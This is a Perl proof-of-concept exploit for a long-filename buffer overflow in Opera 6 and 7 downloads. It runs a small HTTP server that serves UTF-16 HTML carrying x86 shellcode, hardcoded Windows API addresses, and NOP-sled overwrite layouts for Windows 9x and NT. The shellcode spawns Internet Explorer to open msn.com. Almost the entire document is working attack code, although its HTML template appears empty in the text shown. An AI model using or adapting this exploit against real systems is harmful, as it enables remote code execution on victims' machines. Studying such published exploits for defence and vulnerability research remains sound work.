#!/usr/bin/perl #========================================================== # Synopsis : Sample exploit code of # "[Opera 7/6] Long Filename Buffer Overflow # Vulnerability in Download" # Version : Opera 6 and Opera 7 # Vendor : Opera Software ASA # Usage : perl this -h # -g option, this sample uses attached program, gpa.exe(gpa.c). # gpa.exe(gpa.c) is a little program to get addresses for Windows. # Comment : This sample is a little HTTP server which returns # HTML with the exploitcode that would run # Internet Explorer using this vulnerability. # Example : [1] Execute "perl this -p 10080". # [2] Open "http://127.0.0.1:10080/" by Opera. # [3] If the JavaScript, Frame and IFrame are off, # click the link below, "click here". # # by nesumin #========================================================== use IO::Socket; use IO::Select; use Getopt::Std; my ($os, $serveraddr, $opera, $raiseexception, $port,$getaddress, $ADDR_RET, $ADDR_GETPROCADDRESS, $ADDR_LOADLIBRARY); #--------------------- # default setting #--------------------- # server $serveraddr = "127.0.0.1"; $port = 10080; # opera version(for windows 9x) # (6: opera6, 7: opera7) $opera = 7; # OS, kernel32.dll or other. # win2k sp3 jp $ADDR_RET = 0x77E67D04; $ADDR_LOADLIBRARY = 0x77E6FEE8; $ADDR_GETPROCADDRESS = 0x77E7094C; #win98 jp #$ADDR_RET = 0xBFF8F981; #$ADDR_LOADLIBRARY = 0xBFF77750; #$ADDR_GETPROCADDRESS = 0xBFF76E28; $getaddress = "gpa.exe"; $raiseexception = 1; #---------------------------------------------------------- print STDERR (" ____________________________.:.____________________________ \n"); print STDERR ("| |\n"); print STDERR ("| [Opera 7/6] Long Filename Buffer Overflow Vulnerability |\n"); print STDERR ("* *\n"); print STDERR ("* This sample is a little HTTP server which returns HTML *\n"); print STDERR ("* with the exploitcode that would run Internet Explorer *\n"); print STDERR ("| using this vulnerability. |\n"); print STDERR ("|____________________________________.[ coded by nesumin ]._|\n\n"); my ($ADDR_OFFSET, $CODE_OFFSET, $FAKE_ADDR, $TEMPPRELEN,$tplhtml, $resheader, $url, $fakeres, $data, $code, $exploithtml, $timeout,$TEMPDIRLEN); getopts('hg:o:p:w:t:s:'); # -h usage if (defined($opt_h) && $opt_h eq "1") { Usage(); exit(0); } # -g if (! defined($opt_g) || $opt_g ne "1") { die("cannot find \"$getaddress\"\n") unless (-x $getaddress); my $tmp = qx($getaddress); if ($tmp eq "" || $tmp!~m~^(0x[\dA-F]{8}),(0x[\dA-F]{8}),(0x[\dA-F]{8})~i) { die("cannot get address"); } $ADDR_RET = hex($1); $ADDR_LOADLIBRARY = hex($2); $ADDR_GETPROCADDRESS = hex($3); } printf STDERR ("RET ADDRESS\t\t0x%08X\n", $ADDR_RET); printf STDERR ("LOADLIBRARY\t\t0x%08X\n", $ADDR_LOADLIBRARY); printf STDERR ("GETPROCADDRESS\t\t0x%08X\n", $ADDR_GETPROCADDRESS); # -t # user's temp directory length # depends on victim' environment variable if (defined($opt_t)) { $TEMPDIRLEN = $opt_t+0; #$TEMPDIRLEN = 0x0f; # "c:\windows\temp" #$TEMPDIRLEN = 0x22; # "C:\DOCUME~1\********\LOCALS~1\Temp" } else { $TEMPDIRLEN = length($ENV{'TEMP'}); } printf STDERR (qq~TEMP Length\t\t%d\n~, $TEMPDIRLEN); # -o opera version if (defined($opt_o)) { if ($opt_o eq "6") { $opera = 6; } elsif ($opt_o eq "7") { $opera = 7; } print STDERR ("Opera version(for 9x)\t$opt_o\n"); } # OS $os = (exists($ENV{OS}) && $ENV{OS} =~ /^Windows_NT/) ? 1 : 0; # -p port $port = $opt_p + 0 if (defined($opt_p)); die("portno is not correct\n") if ($port < 1 && 65535 < $port); # -s server $serveraddr = $opt_s if (defined($opt_s) && $opt_s ne ""); print STDERR ("server\t\t\t$serveraddr:$port\n"); #---------------------------------------------------------- # open http://www.msn.com $code = pack("C*", 0xEB,0x3E,0x5B,0x53,0xB8,0xAA,0xAA,0xAA,0xAA,0xFF,0xD0,0x8B,0xD0,0x52,0x83,0xC3, 0x0B,0x53,0x52,0xB8,0xBB,0xBB,0xBB,0xBB,0xFF,0xD0,0x8B,0xF0,0x5A,0x83,0xC3,0x09, 0x53,0x52,0xB8,0xBB,0xBB,0xBB,0xBB,0xFF,0xD0,0x8B,0xF8,0x33,0xC0,0x50,0x83,0xC3, 0x05,0x53,0x83,0xC3,0x13,0x53,0x53,0x40,0x50,0xFF,0xD6,0x33,0xC0,0x50,0xFF,0xD7, 0xE8,0xBD,0xFF,0xFF,0xFF ); $code .= pack("a*x" x 5, qw~msvcrt.dll _spawnlp exit http://www.msn.com explorer.exe~); $code=~s~\xAA\xAA\xAA\xAA~pack("L", $ADDR_LOADLIBRARY)~eg; $code=~s~\xBB\xBB\xBB\xBB~pack("L", $ADDR_GETPROCADDRESS)~eg; $ADDR_OFFSET = 0x0107; $TEMPPRELEN = 0x0c; $ADDR_OFFSET -= ($TEMPDIRLEN + $TEMPPRELEN); $FAKE_ADDR = 0x00410041; # writable address. $raiseexception and $ADDR_RET = 0xfefefefe; #$raiseexception and $FAKE_ADDR = 0xfefefefe; $resheader = "HTTP/1.0 200 OK\n"; $resheader .= "Content-type: text/html; charset=UTF-16\n"; $resheader .= "Pragma: no-cache\n"; $resheader .= "Connection: close\n"; $resheader .= "\n"; $fakeres = "HTTP/1.0 200 OK\n"; $fakeres .= "Content-type: application/x-AAAAAAAAAA\n"; $fakeres .= "Pragma: no-cache\n"; $fakeres .= "Connection: close\n"; $fakeres .= "\n"; $fakeres .= "\xff"; # for Opera 6, binary. $fakeres .= "Love & Peace :)\n"; $url = "http://" . $serveraddr . ":" . $port . "/"; $url=~s~(.)~$1\x00~sg; $tplhtml = <<_HTML_; _HTML_ $tplhtml=~s~(.)~$1\x00~gs; my $replace = "{url}"; $replace=~s~(.)~$1\x00~gs; #---- $timeout = undef; my (%CLIENTS,$readbuf); my $ssocket = new IO::Socket::INET(LocalPort=>$port, Listen=>SOMAXCONN, Reuse=>1) || die("$!"); print STDERR ("-" x 62, "\n"); print STDERR ("server started\n"); my $selecter = IO::Select->new($ssocket); while (1) { foreach my $active (@{(IO::Select->select($selecter,$timeout,undef,undef))[0]}) { if ($active == $ssocket) { my $csocket = $ssocket->accept(); if (! defined($csocket)) { print STDERR ("accept error $!\n"); next; } print STDERR ("incoming client, $active\n"); $csocket->autoflush(); $selecter->add($csocket); } else { if ($active->recv($readbuf, 1024) && 0 < length($readbuf)) { $CLIENTS{$active} .= $readbuf; if (0 <= rindex($CLIENTS{$active}, "\r\n\r\n")) { if ($CLIENTS{$active}=~m~^GET (\S+) HTTP~is) { print STDERR ("request\n$CLIENTS{$active}\n"); if ($1 eq "/") { $CLIENTS{$active}=~m~\nUser-Agent:\s+(.+)~i; my $ua = $1; if (!defined($opt_o) && $ua ne '') { #opera $opera = $ua =~m~Opera[/ ]?6~i ? 6 : 7; #$os = $ua =~m~Windows ?(?:NT|XP|2000)~i ? 1 : 0; } if ($os == 0) # 9x { if ($opera == 7) { $data = $code; $data .= "\x90" x (($ADDR_OFFSET-1)*2-length($data)); $data .= pack("L", $ADDR_RET); $data .= pack("C*", 0x90,0x90); $data .= pack("C*", 0xEB,0x04); # jmp $data .= pack("L", $FAKE_ADDR); # call dword ptr[esp+54h] // [esp+54h] is another pointer that is same filename data on heap. $data .= pack("C*", 0xFF, 0x54, 0x24, 0x54); } elsif ($opera == 6) { $data = "\x41\x00" x ($ADDR_OFFSET+24); $data .= pack("L", $ADDR_RET); $data .= $code; } } elsif ($os == 1) # 2k, xp { $data = "\x41\x00" x ($ADDR_OFFSET-1); $data .= pack("L", $ADDR_RET); $data .= pack("C*", 0xEB,0x06); # jmp code $data .= pack("C*", 0x90,0x90); $data .= pack("L", $FAKE_ADDR); $data .= $code; } $data = $url . $data; $data .= "\x90" if length($data)&1; $exploithtml = $tplhtml; $exploithtml=~s~$replace~$data~gs; $exploithtml = pack("C*",0xff,0xfe) . $exploithtml; $active->send($resheader . $exploithtml); print STDERR ("send response\n$resheader$exploithtml\n"); print STDERR ("$url\n"); } else { $active->send($fakeres); print STDERR ("response\n$fakeres\n"); } } } elsif (0xffff > length($CLIENTS{$active})) { next; } else { $active->send("HTTP/1.0 400 Bad Request\r\n\r\n\r\n"); } } print STDERR ("client closed, $active\n"); delete($CLIENTS{$active}); $selecter->remove($active); $active->close(); } } } $ssocket->close(); exit(0); sub Usage { printf STDERR ("Usage: perl %s [-h] [-g] [-s servername] [-p port]\n", ($0=~m~([^\\/]+?)$~)[0]||"/"); print STDERR (" [-w os] [-t length_of_tempdir]\n"); print STDERR ("Options:\n"); print STDERR (" -h print Usage\n"); print STDERR (" -g don't use gpa.exe\n"); print STDERR (" -s specify server name (default: $serveraddr)\n"); print STDERR (" -p specify server port(1024-65535), (default: $port)\n"); print STDERR (" -o specify Opera version {6|7}, (default: 7)\n"); printf STDERR (" -t specify length of temporary directory name, (default: %d)\n",length($ENV{'TEMP'})); print STDERR ("\n"); } __END__